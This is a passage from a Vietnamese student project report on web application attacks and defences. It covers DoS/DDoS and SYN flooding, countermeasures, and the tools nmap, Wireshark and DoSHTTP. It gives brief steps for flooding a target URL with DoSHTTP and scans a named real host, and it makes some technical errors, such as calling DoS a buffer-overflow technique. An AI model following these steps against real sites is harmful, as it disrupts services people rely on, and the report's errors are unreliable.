là một số integer. • Dùng thuật toán để mã hoá dữ liệu 3 Kĩ thuật tấn công gây tràn bộ đệm và từ chối dịch vụ(Buffer overflow) Kĩ thuật này chủ yếu khai thác việc người dùng mà vượt quá lượng bộ nhớ cấp phát ban đầu bởi ứng dụng do đó gây chohệ thống lâm vào tình trạng tràn bộ nhớ, thậm chí có thể bị chèn thêm một đoạn mã bất kì. Nếu ứng dụng được cấu hình để được thực thi như root thì người tấn công có thể thao tác như một nhà quản trị hệ thống của web server. Đây là một cách tấn công được coi là kinh điển . Ở đây trong đồ án này tôi sẽ trình bày một kĩ thuật tấn công gây tràn bộ đệm và từ chối dịch vụ đó là Dos. 3.1 Khái niệm Tấn công kiểu DoS là kiểu tấn công làm cho các dịch vụ mạng bị tê liệt, không còn khả năng đáp ứng được yêu cầu nữa. Loại tấn công này ảnh hưởng đến nhiều hệ thống, rất dễ thực hiện và lại rất khó bảo vệ hệ thống khỏi kiểu tấn công DoS. Thông thường, kiểu tấn công DoS dựa trên những giao thức (protocol). Ví dụ với giao thức là ICMP, hacker có thể sử dụng bomb e-mail để gửi hàng ngàn thông điệp email với mục đích tiêu thụ băng thông để làm hao hụt tài nguyên hệ thống trên mail server. Hoặc có thể dùng phần mềm gửi hàng loạt yêu cầu đến máy chủ khiến cho máy chủ không thểđáp ứng những yêu cầu chính đáng khác. 3.2 Các đối tượng bị ảnh hưởng bởi kiểu tấn công này • TẤN CÔNG TRÊN SWAP SPACE Hầu hết các hệ thống đều có vài trăm MB không gian chuyển đổi ( swap space) đểphục vụ cho những yêu cầu từ máy khách. Swap space thuờng dùng cho các tiến trình con có thời gian ngắn nên DoS có thể được dựa trên phương thức làm tràn đầy swap space. • TẤN CÔNG TRÊN BANDWIDTH: Phần băng thông dành cho mỗi hệ thống là giới hạn, vì thế nếu hacker cùng lúc gửi nhiều yêu cầu đến hệ thống thì phần băng thông không đủ đáp ứng cho một khối lượng dữ liệu lớn đó và dẫn đến hệ thống bị phá vỡ. • TẤN CÔNG VÀO RAM: Tấn công Dos chiếm 1 khoảng lớn của RAM cũng có thể gây ra các vấn đề phá hủy hệ thống. Kiểu tấn công BufferOverflow là một ví dụ cho cách phá hủy này • TẤN CÔNG VÀO DISKS: Một kiểu tấn công cổ điển là làm đầy đĩa cứng. Đĩa cứng có thể bị tràn và không thể được sử dụng nữa. 3.3 Các kiểu tấn công DDos 3.3.1 Kiểu tấn công thứ 1 Hacker hoàn toàn có khả năng làm ngập hệ thống vì băng thông của hacker lớn hơn băng thông của máy đích. Kiểu tấn công này không bị hạn chế bởi tốc độ truyền mạng. ví dụ: Hacker có một đường truyền tốc độ cao T1 ( 1.544- Mbps ) hay lớn hơn có thể dễ dàng phá vỡ một hệ thống có đường truyền 56Kbps. 3.3.2. Kiểu tấn công thứ 2 Kiểu tấn công này được sử dụng khi đường truyền mạng của hacker là quá thấp so với đường truyền của máy đích. Không giống như kiểu tấn công DoS truyền thống ( phần 2 ), kiểu tấn công vào băng thông lớn hơn sẽ lợi dụng những gói tin từ những hệ thống khác nhau cùng một lúc tiến đến hệ thống đích khiến cho đường truyền của hệ thống đích không còn khả năng đáp ứng, máy chủ không còn khả năng nhận một gói tin nào nữa. Kiểu tấn công này sẽ loại máy đích ra khỏi Internet. Đây là phương pháp tấn công kiểu từ chối dịch vụ nhưng không là DoS mà gọi là DDoS ( kiểu từ chối dịch vụ phân tán ), nghĩa là cùng một lúc nhiều máy sẽđược phát động để gửi gói tin đến máy đích, làm cho máy đích không còn khả năng tiếp nhận gói tin và bị loại khỏi mạng Internet. Bằng cách giả địa chỉ IP của máy đích, hacker sẽ cùng lúc gửi nhiều gói tin đến các hệ thống máy mạnh trên mạng, các hệ thống này khi nhận gói tin SYN giả này, chấp nhận kết nối và gửi trả một gói tin SYN/ACK để thông báo. Vì địa chỉ IP của gói tin SYN bị hacker sửa đổi thành địa chỉ IP máy đích nên những gói tin SYN/ACK sẽ được gửi về cho máy đích. Cùng một lúc nhận được nhiều gói tin, đường truyền của máy đích không đủ khả năng đáp ứng, hệ thống máy đích từ chối nhận bất kì gói tin nào và lúc này hệ thống máy đích đã bị sụp đổ. 3.3.3. Kiểu tấn công vào tài nguyên hệ thống Đây là kiểu tấn công nhằm vào tài nguyên hệ thống hơn là tài nguyên mạng như CPU, bộ nhớ, file hệ thống, tiến trình…..Hacker là một người dùng hợp lệ của hệ thống, và được một lượng tài nguyên giới hạn trên hệ thống. Tuy nhiên, hacker sẽ lạm dụng quyền truy cập này để yêu cầu thêm tài nguyên. Như vậy, hệ thống hay những người dùng hợp lệ sẽ bị từ chối sử dụng tài nguyên chia sẻ. Kiểu tấn công sẽ khiến cho hệ thống không thể sử dụng được vì tài nguyên đã bị sử dụng hết, không còn tiến trình để thực thi nữa 3.4 Cách phòng chống Kiểutấn công từ chối dịch vụ tuy chỉ khiến cho hệ thống bị phá vỡ trong vài phút nhưng hậu quả thì khá to lớn (ảnh hưởng trên phạm vi tiền và uy tín). Đây là kĩ thuật thường được hacker sử dụng trong trường hợp không thể chiếm quyền quản trị trên hệ thống hoặc thông tin, hoặc muốn phá hủy uy tín của cơ quan đó.Thêm vào đóviệc giả mạo địa chỉ khiến cho hacker càng dễ dàng thực hiện viêc tấn công mà không sợ bị phát hiện. Kiểu tấn công từ chối dịch vụ là kiểu tấn công gây nhiều khó khăn trong vấn đề bảo vệ cũng như điều tra tìm ra thủ phạm nhất, bởi vì hầu hết hacker đã thay đổi địa chỉ IP của máy mình nên rất khó xác định ai là thủ phạm. Để phòng chống khả năng khuyếch đại đường truyền, cần: - Huỷ khả năng broadcast tại router biên - Tăng kích thước hàng đợi kết nối Ta có thể phòng tránh khả năng tràn hàng đợi qua nhiều kết nối, nhưng cách này sử dụng nhiều tài nguyên: - Giảm thời gian thiết lập kết nối - Dùng những phần mềm phát hiện và phá hủy kiểu tấn công DoS: Hầu hết những hệ điều hành hiện nay đều hỗ trợ khả năng phát hiện và phòng chống kiểu tấn công lụt SYN. Tuy nhiên cũng đã có những phần mềm được có khả năng tránh kiểu tấn công này. Ví dụ như với Linux kernels 2.0.30 và về sau cài đặt một tùy chọn gọi là SYN Cookie , kernel có nhiệm vụ truy tìm và lưu vết những khả năng có thể xảy ra kĩ thuật SYN. Sau đó, kernel sẽ sử dụng một giao thức mã hoá như SYN cookie cho phép người dùng hợp lệ của hệ thống tiếp tục kết nối đến hệ thống Với WindowNT 4.0 trở về sau, sử dụng kĩ thuật backlog, mỗi khi hàng đợi kết nối không đủ đáp ứng, hệ thống tự động cung cấp tài nguyên cho hàng đợi, vì thế hàngđợi sẽ không bị phá vỡ. Ứng dụng chỉ cho phép mỗi một máy con chỉđược thiết lập số kết nối tối đa theo qui định tránh trường hợp hacker gửi cùng lúc nhiều yêu câu gây tắc nghẽn. CHƯƠNG 3 GIỚI THIỆU MỘT SÔ CÔNG CỤ PHỔ DỤNG TRONG KĨ THUẬT TẤN CÔNG VÀ BẢO MẬT ỨNG DỤNG WEB 3.1. Tool scanning Trong kĩ thuật tấn công cũng như bảo mật ứng dụng web thì thao tác đầu tiên thường là thao tác kiểm tra lỗi hệ thống nhằm xác định lỗi của hệ thống . Các công cụ dò tìm lỗi(tool scanning) hỗ trợ đắc lực cho công việc này , các hacker có thể dùng chúng để dò tìm lỗi và sau đó có thể dung framework hay code có sẵn trên một số tài liệu hay internet mà tấn công ứng dụng web. Nhưng nó cũng là công cụ hữu ích để các nhà quản trị mạng , các nhà quản trị hệ thống ứng dụng web đânhs giá lại mức độ bảo mật của hệ thống ứng dụng web từ đó có những phương phát bảo mật hay vá lỗi tương ứng . Trong đồ án này tôi sẽ giới thiệu một tool scanning mà nguồn mở rất thông dụng đó là nmap. Nmap một công cụ rất dễ sử dụng bạn có thẻ sử dụng dòng lệnh trên môi trường dos hay có thể sử dụng các tùy chọn trước tiếp trên chính giao diện của nmap . Hình 1 giao diện của nmap Giao diện thân thiện với người dung nên nmap rất dễ sử dụng. Dưới đây ví dụ minh họa ứng dụng web. ở đây là host forum.congthuongit.net. Thực hiện điền: Target: forum.congthuongit.net. profile:Intense sacan . Chúng ta thu được nhưng kết quả Hình 2 mô tả kiểu quét intense của nmap Hình 3 kết quả khi dùng nmap phần (nmap out) Hình 4 Kết quả trên nmap out (tiếp) Đây là hình ảnh giao thức của hệ thống ứng dụng web Hình 5 hình ảnh của host đang kiểm tra Mặc dù có rất nhiều chức năng nhưng có những lúc nmap cũng không xác định được chính xác các thông số của đối tượng. Như trong trường hợp trên Nmap không xác định được thông tin vè phần mềm của host(no Os matches for host). Khi bạn sử dụng namap để quét một host nào đó thì sau đó có thể sảy ra tình trạng không truy cập vào trang web này nữa bạn đừng lo lắng để vài phút sau bạn sẽ truy cập được. 2. Công cụ bắt gói tin Dùng công cụ bắt gói tin là một cách phổ biến để nghe lén các gói tin trên mạng. Trong đồ án này tôi sẽ giới thiệu công cụ wireshare. Một công cụ mà nguồn mở giao diện đồ họa thân thiện dễ sử dụng. Hình 6 giao diện của wireshare Bạn click vào mục interface list chọn card mạng và chọn start Ta được giao diện sau(hình 7). Phần màu vàng là những gói tin đang được truyền tới bạn. Phần bên dươid là nhưng thông tin của gói tin được mà hóa dưới dạng hexa. Hình 7 giao diện của wireshare khi bắt gói tin Khi bạn nhấp vào phâng mã hexa hoặc các dòng thông tin bạn sẽ thu được thông tin của gói tin được mã hóa. Nhu hinh dưới Hình 8 Thông tin của những gói tin mà wireshare bắt được Bạn có thể save nhưng thông tin này ra và sử dụng nó sau.Công việc tiếp theo của bạn là tìm thêm phần mềm dich nhũng mà hóa đó ra và đọc thông tin của những gói tin đó. Công cụ dùng để tấn công dos ứng dụng web Như đã trình bày ở chương 2 phương pháp tấn công dó là một phương pháp kinh điển khó phòng tránh. ở đây tôi sẽ giới thiệu với các bạn côgn cụ DoSHTTP 2.5 một công cụ rất phổ dụng trong việc tấn công dos ứng dụng web một công cụ mà các Hacker hay dùng. Giao diện của DoSHTTP 2.5(hình 9). Hình 9 Giao diện của DoSHTTP 2.5 Thao tác với công cụ này rất dễ dàng, hacker chỉ cần nhập vào ô target URL địa chỉ con ddos. Chọn số socket và nhấn start flood. Và sau đó chỉ việc ngồi đợi chỉ khoảng 5 phút sau host đó sẽ không truy cập được. Cảnh báo việc tấn côgn ứng dụng web là trái pháp luật nên bạn không thể tùy tiện sử dụng công cụ này. PHẦN KẾT LUẬN VÀ HƯỚNG PHÁT TRIỂN CỦA ĐỒ ÁN Ứng dụng web phát triển với tốc độ chóng mặt và vì vậy kĩ thuật tấn công và bảo mật ứng dụng web cũng phát triển với trình độ cao. Tấn công và bảo mật ứng dụng web là một đề tài rất rộng đòi hỏi sự am hiểu và phải có kĩ thuật chuyên môn cao. Do thời gian làm đồ án ngắn và kĩ thuật của em còn có hạn nên những phần em trình bày ở đồ án này mới là những kiến thức cơ bản và còn nhiều hạn chế . Nhưng được sự giúp đỡ tận tình của của các thầy trong khoa công nghệ thông tin nhất là thầy Huỳnh Nguyễn Thành Luân và cũng chính vì được nhận và làm đồ án này em đã hiểu rõ hơn những khái niệm chuyên môn liên quan đến ứng dụng web mà lâu nay em nắm chưa chắc. Em cũng hiểu rõ hơn về những kĩ thuật tấn công ứng dụng cơ bản là nền tẳng cho những phương phát tấn công hiện đại đồng thời em cũng biết được một số phương pháp phòng tránh tấn công và bảo mật ứng dụng web. Những kiến thức này sẽ giúp ích rất nhiều cho em sau này. Những kiến thức này sẽ giúp em có nền tảng vững chắc hơn về kĩ thuật chuyên môn liên quan đến kĩ thuật bảo mật ứng dụng web. Sau khi thực hiện xong đồ án này em sẽ sủ dụng nhưng kiến thức đã tìm hiểu và cố gắng học thêm, tìm hiểu thêm nhũng kiến thúc chuyên môn liên quan nhằm xây dựng mộ công cụ hay một phuong pháp bảo mật ứng dụng web hiệu quả trước các cuộc tấn công. Tài liệu tham khảo Trong đồ án này em đã tham khảo rất nhiều bài viết của các tác giả , nhất là trên internet sau đây là thông tin tài liệu. Luận văn tốt nghiệp Nghiên cứu một số vấn đề bảo mật ứng dụng web trên internet của Nguyễn Duy Thăng và Nguyễn minh Thư. ETHICAL HACKING 1-5 by EC-Council Web/65082882/229/ xíu về bảo mật trang web cho người không chuyên.htm HACK WEBSITE - YuMe_vn.htm tấn công hệ thống Cisco(Trang 1) - Hệ thống mạng CISCO - Diễn đàn trung tâm Zonotek - Powered by Discuz! Archiver.htm Blog - Những lỗ hổng bảo mật thường gặp trên website.htm The end

Các file đính kèm theo tài liệu này:

  • docdo_an_ta_n_cong_va_ba_o_ma_t_u_ng_du_ng_web_289.doc
Tài liệu liên quan